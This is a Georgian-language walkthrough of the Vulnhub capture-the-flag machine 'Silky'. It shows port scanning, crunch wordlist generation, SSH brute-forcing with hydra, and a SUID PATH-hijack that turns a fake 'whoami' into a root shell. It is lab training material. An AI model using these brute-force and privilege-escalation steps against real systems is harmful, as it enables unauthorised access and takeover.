განვაგრძობ Vulnhub-ის დავალებების განხილვას და გადავდივარ CTF -ზე Silky რომლის გადმოწერაც შეგიძლიათ აქედან :
CYBSECGROUP
Silky-ს ჩართვისას გვხვდება დებიანის საავტორიზაციო ფეიჯი
მოდით დავიწყოთ Sikly-ს აიპის პოვნით
წინა გაკვეთილში ( აქ ) გამოვიყენე netdiscover, ცოტა მრავალფეროვნებისთვის და მეტი ცოდნისთვის გამოვიყენოთ angry ip scanner
დავიწყოთ angryip scanner -ის დაყენება
გადმოვწეროთ deb ფაილი შემდეგი ბმულიდან : CYBSECGROUP
გადმოწერის შემდეგ დავაყენოთ სკანერი შემდეგი კომანდით:
ინსტალაციის შემდეგ ისევ ტერმინალში აკრიფეთ ipscan რათა გამოიძახოთ დაყენებული ხელსაწყო
სკანირების რეზულტატში ჩანს silky-ის აიპი მისამართი
აიპის გახსნისას გხვდება აპაჩის default ფეიჯი
დავასკანიროთ პორტები
სკანირებამ გვიჩვენა რომ გახსნილია 2 პროტოკოლი (SSH,HTTP) და HTTP-ში არსებობს ფაილი robots.txt რომელიც კრძალავს notes.txt-ზე წვდომას
notes.txt-ში გვხვდება გერმანული ტექსტი რომლის თარგმანიც არის : I absolutely have to remove the password from the page, after all, the last 2 characters are missing. But still.
apache- ამ ფეიჯშის კოდში ჩამატებულია script.js
რომელიც შეიცავს ერთადერთ კომენტარს s1lKy
ეს ერთი სიტყვა შეიძლება წარმოადგენდეს პოტენციურ პაროლს
დავაგენერიროთ 7 სიმბოლოიანი ვორდლისტი იმიტომ რომ ზედა ჩანაწერი გვეუბნევა რომ ჩამოშორებულია ბოლო 2 სიმბოლო ხოლო "s1lKy" შეიცავს 5 სიმბოლოს
ამისთვის ყველაზე კარგი ხელსაწყო იქნება crunch
ბოლო ორი სიმბოლო შეიძლება იყოს ნებისმიერი სიმბოლო, მსგავსი ვორდლისტის გამოყენებისას მე დამჭირა 1 საათი თქვენ შეგიმოკლებთ ამ შრომას და მოგცემთ კომანდს რომელიც პირდაპირ სწორი ტიპის სიმბოლოებს ჩასვავს
გამოვიყენოთ კომანდი
ერთადერთი ადგილი სადაც პაროლები შეგვიძლია პაროლები გამოვყენოთ არის ssh პროტოკოლი
იუზერნეიმი მანქანის სახელიდან გამოვიყენოთ silky და დავიწყოთ brute-force შეტევა ჩვენი ძველი მეგობარი ჰიდრას გამოყენებით
hydra-ს კომანდი გამოიყურება შემდეგნაირად
hydra-მ შეძლო გამოეცნო სწორი პაროლი, გავიაროთ ssh ში ავტორიზაცია
ავტორიზაცია წარმატებით გავიარეთ, გადავიდეთ პრივილეგიის ესკალაციაზე
მოვძებნოთ ფაილები SUID პრივილეგიით შემდეგი კომანდის გამოყენებით:
რეზულტატი გამოიყურება შემდეგნარად :
ყველაფერი რიგზეა გარდა ერთი ფაილისა:
/usr/bin/sky
ამ ფაილის გაშვებისას ისევ გერმანულ ტექსტს ვიღებთ
Seide ist ein tierischer Faserstoff. Sie wird aus den Kokons der Seidenraupe, der Larve des Seidenspinners, gewonnen.
gezeichnet:
root
თარგმანის შემდეგ ტექსტი ძალიან უაზრო იყო და მემგონი ამ შემთხვევაში ვერაფერში გამოვიყენებთ, უბრალოდ ერთადერთი საინტერესო ხაზი აქ იყო ბოლო სადაც წერია root
დავპარსოთ სტრინგები ამ ფაილიდან
ერთ-ერთ ხაზზე ჩანს კომანდი რომელიც ეშვება ამ ბინარული ფაილის გაშვებისას
ჯერ იძახებს სისტემურ კომანდ ექოს, და შემდეგ whoami-ს ჩავანაცვლოთ whoami რაიმე სხვა ფაილით და ჩავამატოთ PATH ში
ამის შემდეგ როცა პროგრამა გამოიძახებს whoami კომანდს ნაცვლად იმისა რომ გაეშვას სისტემური ფაილი, გაეშვება ჩვენი კოდი
შევქმნათ დირექტორია ნებისმიერი სახელით
ამ დირექტორიაში შვექმნათ ფაილი სახელით whoami რომელიც გამოიძახებს ბაშს და შევცვალოთ executable permission ამისთვის საკმარისია შემდეგი კომანდები
შემდეგ ეს დირექტორია დავმატოთ path ცვლადში
ამის შემდეგ კომანდი whoami-ს გაშვებისას ჩაიტვირთება ჩვენი ფაილი, ახლა შეგვიძლია ხელახლა გამოვიძახოთ sky ფაილი რომელმაც წეისთ უნდა მოგვცეს root shell
როგორც ხედავთ ამ ფაილის გაშვებისას გამოიძახა შელი რომელიც რუთის პრივილეგიითაა, ახლა დაგვრჩა ის რომ ამოვიღოთ ე.წ. flag რომელიც დევს root დირექტორიაში
სულ ეს იყო, მარტივი და სახალისო სავარჯიშო, გისურვებთ წარმატებას, პატივისცემით Z3R0
CYBSECGROUP
Silky-ს ჩართვისას გვხვდება დებიანის საავტორიზაციო ფეიჯი
მოდით დავიწყოთ Sikly-ს აიპის პოვნით
წინა გაკვეთილში ( აქ ) გამოვიყენე netdiscover, ცოტა მრავალფეროვნებისთვის და მეტი ცოდნისთვის გამოვიყენოთ angry ip scanner
დავიწყოთ angryip scanner -ის დაყენება
გადმოვწეროთ deb ფაილი შემდეგი ბმულიდან : CYBSECGROUP
გადმოწერის შემდეგ დავაყენოთ სკანერი შემდეგი კომანდით:
Code:
dpkg -i ipscan_3.6.2_amd64.deb # (კომანდი უნდა გაეშვას რუთის პრივილეგიით)
სკანირების რეზულტატში ჩანს silky-ის აიპი მისამართი

აიპის გახსნისას გხვდება აპაჩის default ფეიჯი

დავასკანიროთ პორტები
Code:
nmap -sC -sV 192.168.50.206
სკანირებამ გვიჩვენა რომ გახსნილია 2 პროტოკოლი (SSH,HTTP) და HTTP-ში არსებობს ფაილი robots.txt რომელიც კრძალავს notes.txt-ზე წვდომას

notes.txt-ში გვხვდება გერმანული ტექსტი რომლის თარგმანიც არის : I absolutely have to remove the password from the page, after all, the last 2 characters are missing. But still.
apache- ამ ფეიჯშის კოდში ჩამატებულია script.js
რომელიც შეიცავს ერთადერთ კომენტარს s1lKy
ეს ერთი სიტყვა შეიძლება წარმოადგენდეს პოტენციურ პაროლს
დავაგენერიროთ 7 სიმბოლოიანი ვორდლისტი იმიტომ რომ ზედა ჩანაწერი გვეუბნევა რომ ჩამოშორებულია ბოლო 2 სიმბოლო ხოლო "s1lKy" შეიცავს 5 სიმბოლოს
ამისთვის ყველაზე კარგი ხელსაწყო იქნება crunch
ბოლო ორი სიმბოლო შეიძლება იყოს ნებისმიერი სიმბოლო, მსგავსი ვორდლისტის გამოყენებისას მე დამჭირა 1 საათი თქვენ შეგიმოკლებთ ამ შრომას და მოგცემთ კომანდს რომელიც პირდაპირ სწორი ტიპის სიმბოლოებს ჩასვავს
გამოვიყენოთ კომანდი
Code:
crunch 7 7 -t s1lKy^% >> pass.txt
იუზერნეიმი მანქანის სახელიდან გამოვიყენოთ silky და დავიწყოთ brute-force შეტევა ჩვენი ძველი მეგობარი ჰიდრას გამოყენებით
hydra-ს კომანდი გამოიყურება შემდეგნაირად
Code:
hydra -l root -P pass.txt 192.168.50.206 -t 16 ssh

hydra-მ შეძლო გამოეცნო სწორი პაროლი, გავიაროთ ssh ში ავტორიზაცია
ავტორიზაცია წარმატებით გავიარეთ, გადავიდეთ პრივილეგიის ესკალაციაზე
მოვძებნოთ ფაილები SUID პრივილეგიით შემდეგი კომანდის გამოყენებით:
Code:
find / -perm -u=s -type f 2>/dev/null
[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/ping
/bin/mount
/bin/umount
/bin/ntfs-3g
/bin/fusermount
/usr/bin/newgrp
/usr/bin/sky
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
ყველაფერი რიგზეა გარდა ერთი ფაილისა:
/usr/bin/sky
ამ ფაილის გაშვებისას ისევ გერმანულ ტექსტს ვიღებთ
Seide ist ein tierischer Faserstoff. Sie wird aus den Kokons der Seidenraupe, der Larve des Seidenspinners, gewonnen.
gezeichnet:
root
თარგმანის შემდეგ ტექსტი ძალიან უაზრო იყო და მემგონი ამ შემთხვევაში ვერაფერში გამოვიყენებთ, უბრალოდ ერთადერთი საინტერესო ხაზი აქ იყო ბოლო სადაც წერია root
დავპარსოთ სტრინგები ამ ფაილიდან

ერთ-ერთ ხაზზე ჩანს კომანდი რომელიც ეშვება ამ ბინარული ფაილის გაშვებისას
ჯერ იძახებს სისტემურ კომანდ ექოს, და შემდეგ whoami-ს ჩავანაცვლოთ whoami რაიმე სხვა ფაილით და ჩავამატოთ PATH ში
ამის შემდეგ როცა პროგრამა გამოიძახებს whoami კომანდს ნაცვლად იმისა რომ გაეშვას სისტემური ფაილი, გაეშვება ჩვენი კოდი
შევქმნათ დირექტორია ნებისმიერი სახელით
ამ დირექტორიაში შვექმნათ ფაილი სახელით whoami რომელიც გამოიძახებს ბაშს და შევცვალოთ executable permission ამისთვის საკმარისია შემდეგი კომანდები
Code:
[email protected]:~$ mkdir cybsecgroup
[email protected]:~$ cd cybsecgroup/
[email protected]:~/cybsecgroup$ echo "/bin/sh" > whoami
[email protected]:~/cybsecgroup$ chmod 777 whoami
[email protected]:~/cybsecgroup$ cd ../
Code:
export PATH=/home/silky/cybsecgroup:$PATH

როგორც ხედავთ ამ ფაილის გაშვებისას გამოიძახა შელი რომელიც რუთის პრივილეგიითაა, ახლა დაგვრჩა ის რომ ამოვიღოთ ე.წ. flag რომელიც დევს root დირექტორიაში

სულ ეს იყო, მარტივი და სახალისო სავარჯიშო, გისურვებთ წარმატებას, პატივისცემით Z3R0